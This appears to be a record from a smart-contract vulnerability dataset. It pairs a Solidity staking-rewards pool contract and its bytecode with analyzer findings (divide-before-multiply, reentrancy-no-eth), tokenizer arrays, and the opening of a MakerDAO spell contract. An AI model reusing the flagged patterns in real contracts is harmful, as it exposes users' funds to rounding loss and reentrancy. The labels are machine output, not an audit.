require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/CurveRewards.sol pragma solidity ^0.5.0; interface PYLON { function pylonsScalingFactor() external returns (uint256); } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public lend = IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03); uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); lend.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); lend.safeTransfer(msg.sender, amount); } } contract PYLONLENDPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public pylon = IERC20(0xD7B7d3C0bdA57723Fb54ab95Fd8F9EA033AF37f2); uint256 public constant DURATION = 864000; // 10 days uint256 public starttime = 1598918400; // 2020-09-01 00:00:00 (UTC UTC +00:00) uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier checkStart() { require(block.timestamp >= starttime,"not start"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; uint256 scalingFactor = PYLON(address(pylon)).pylonsScalingFactor(); uint256 trueReward = reward.mul(scalingFactor).div(10**18); pylon.safeTransfer(msg.sender, trueReward); emit RewardPaid(msg.sender, trueReward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c806380faa57d116100de578063a694fc3a11610097578063df136d6511610071578063df136d65146105f0578063e9fad8ee1461060e578063ebe2b12b14610618578063f2fde38b146106365761018d565b8063a694fc3a14610586578063c8f33c91146105b4578063cd3daf9d146105d25761018d565b806380faa57d1461043c5780638b8763471461045a5780638da58897146104b25780638da5cb5b146104d05780638f32d59b1461051a57806397dffc611461053c5761018d565b80632e1a7d4d1161014b5780634684779411610125578063468477941461037257806370a08231146103bc578063715018a6146104145780637b0a47ee1461041e5761018d565b80632e1a7d4d1461030c5780633c6b16ab1461033a5780633d18b912146103685761018d565b80628cc262146101925780630700037d146101ea5780630d68b76114610242578063101114cf1461028657806318160ddd146102d05780631be05289146102ee575b600080fd5b6101d4600480360360208110156101a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061067a565b6040518082815260200191505060405180910390f35b61022c6004803603602081101561020057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610761565b6040518082815260200191505060405180910390f35b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610779565b005b61028e610837565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d861085d565b6040518082815260200191505060405180910390f35b6102f6610867565b6040518082815260200191505060405180910390f35b6103386004803603602081101561032257600080fd5b810190808035906020019092919050505061086e565b005b6103666004803603602081101561035057600080fd5b8101908080359060200190929190505050610a9b565b005b610370610da2565b005b61037a6110d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103fe600480360360208110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110fb565b6040518082815260200191505060405180910390f35b61041c611144565b005b61042661127f565b6040518082815260200191505060405180910390f35b610444611285565b6040518082815260200191505060405180910390f35b61049c6004803603602081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611298565b6040518082815260200191505060405180910390f35b6104ba6112b0565b6040518082815260200191505060405180910390f35b6104d86112b6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105226112e0565b604051808215151515815260200191505060405180910390f35b61054461133f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105b26004803603602081101561059c57600080fd5b8101908080359060200190929190505050611364565b005b6105bc611591565b6040518082815260200191505060405180910390f35b6105da611597565b6040518082815260200191505060405180910390f35b6105f861162f565b6040518082815260200191505060405180910390f35b610616611635565b005b610620611650565b6040518082815260200191505060405180910390f35b6106786004803603602081101561064c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611656565b005b600061075a600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461074c670de0b6b3a764000061073e610727600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610719611597565b6116dc90919063ffffffff16565b610730886110fb565b61172690919063ffffffff16565b6117ac90919063ffffffff16565b6117f690919063ffffffff16565b9050919050565b600c6020528060005260406000206000915090505481565b6107816112e0565b6107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b620d2f0081565b33610877611597565b600a81905550610885611285565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610952576108c88161067a565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6006544210156109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374617274000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211610a40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b610a498261187e565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610adc61197d565b73ffffffffffffffffffffffffffffffffffffffff1614610b48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122206021913960400191505060405180910390fd5b6000610b52611597565b600a81905550610b60611285565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610c2d57610ba38161067a565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600654421115610d23576007544210610c6157610c56620d2f00836117ac90919063ffffffff16565b600881905550610cc4565b6000610c78426007546116dc90919063ffffffff16565b90506000610c916008548361172690919063ffffffff16565b9050610cbb620d2f00610cad83876117f690919063ffffffff16565b6117ac90919063ffffffff16565b60088190555050505b42600981905550610ce1620d2f00426117f690919063ffffffff16565b6007819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a1610d9e565b610d39620d2f00836117ac90919063ffffffff16565b600881905550600654600981905550610d60620d2f006006546117f690919063ffffffff16565b6007819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a15b5050565b33610dab611597565b600a81905550610db9611285565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610e8657610dfc8161067a565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600654421015610efe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374617274000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000610f093361067a565b905060008111156110d1576000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e249fd9f6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610fc557600080fd5b505af1158015610fd9573d6000803e3d6000fd5b505050506040513d6020811015610fef57600080fd5b810190808051906020019092919050505090506000611031670de0b6b3a7640000611023848661172690919063ffffffff16565b6117ac90919063ffffffff16565b90506110803382600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119859092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a250505b5050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61114c6112e0565b6111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b600061129342600754611a56565b905090565b600b6020528060005260406000206000915090505481565b60065481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661132361197d565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3361136d611597565b600a8190555061137b611285565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611448576113be8161067a565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6006544210156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374617274000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b61153f82611a6f565b3373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b60095481565b6000806115a261085d565b14156115b257600a54905061162c565b6116296116186115c061085d565b61160a670de0b6b3a76400006115fc6008546115ee6009546115e0611285565b6116dc90919063ffffffff16565b61172690919063ffffffff16565b61172690919063ffffffff16565b6117ac90919063ffffffff16565b600a546117f690919063ffffffff16565b90505b90565b600a5481565b611646611641336110fb565b61086e565b61164e610da2565b565b60075481565b61165e6112e0565b6116d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6116d981611b70565b50565b600061171e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb6565b905092915050565b60008083141561173957600090506117a6565b600082840290508284828161174a57fe5b04146117a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121ff6021913960400191505060405180910390fd5b809150505b92915050565b60006117ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d76565b905092915050565b600080828401905083811015611874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b611893816001546116dc90919063ffffffff16565b6001819055506118eb81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061197a33826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119859092919063ffffffff16565b50565b600033905090565b611a51838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611e3c565b505050565b6000818310611a655781611a67565b825b905092915050565b611a84816001546117f690919063ffffffff16565b600181905550611adc81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6d3330836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612087909392919063ffffffff16565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121d96026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290611d63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d28578082015181840152602081019050611d0d565b50505050905090810190601f168015611d555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611e22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611de7578082015181840152602081019050611dcc565b50505050905090810190601f168015611e145780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611e2e57fe5b049050809150509392505050565b611e5b8273ffffffffffffffffffffffffffffffffffffffff1661218d565b611ecd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310611f1c5780518252602082019150602081019050602083039250611ef9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611f7e576040519150601f19603f3d011682016040523d82523d6000602084013e611f83565b606091505b509150915081611ffb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156120815780806020019051602081101561201a57600080fd5b8101908080519060200190929190505050612080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612241602a913960400191505060405180910390fd5b5b50505050565b612187848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611e3c565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156121cf5750808214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158205a84510c6de682687b0b4a7090243b0c37c5756322e0d34807a851384112a52964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 19281, 16048, 2620, 2509, 2063, 2509, 2546, 14142, 2063, 2692, 2629, 14141, 2581, 2278, 2475, 2063, 2475, 2278, 17788, 2475, 2094, 2487, 2278, 2575, 20952, 2581, 2683, 17914, 2549, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1035, 1032, 1013, 1035, 1035, 1013, 1013, 1035, 1032, 1013, 1011, 1035, 1007, 1013, 1035, 1035, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1035, 1035, 1035, 1013, 1032, 1035, 1010, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,047
0x961eee551d0fe5ff8b88db5441875564ac967f09
// hevm: flattened sources of src/DssSpell.sol pragma solidity =0.6.12 >=0.5.12 >=0.6.12 <0.7.0; ////// lib/dss-exec-lib/src/DssExecLib.sol // SPDX-License-Identifier: AGPL-3.0-or-later // // DssExecLib.sol -- MakerDAO Executive Spellcrafting Library // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ /* pragma experimental ABIEncoderV2; */ interface Fileable { function file(bytes32, address) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, bytes32, address) external; } // https://github.com/makerdao/dss-chain-log interface ChainlogLike { function setVersion(string calldata) external; function setIPFS(string calldata) external; function setSha256sum(string calldata) external; function getAddress(bytes32) external view returns (address); function setAddress(bytes32, address) external; function removeAddress(bytes32) external; } library DssExecLib { function vat() public view returns (address) {} function cat() public view returns (address) {} function pot() public view returns (address) {} function vow() public view returns (address) {} function end() public view returns (address) {} function reg() public view returns (address) {} function spotter() public view returns (address) {} function flipperMom() public view returns (address) {} function flip(bytes32) public view returns (address) {} function getChangelogAddress(bytes32) public view returns (address) {} function setChangelogAddress(bytes32, address) public {} function setChangelogVersion(string memory) public {} function authorize(address, address) public {} function deauthorize(address, address) public {} function canCast(uint40, bool) public 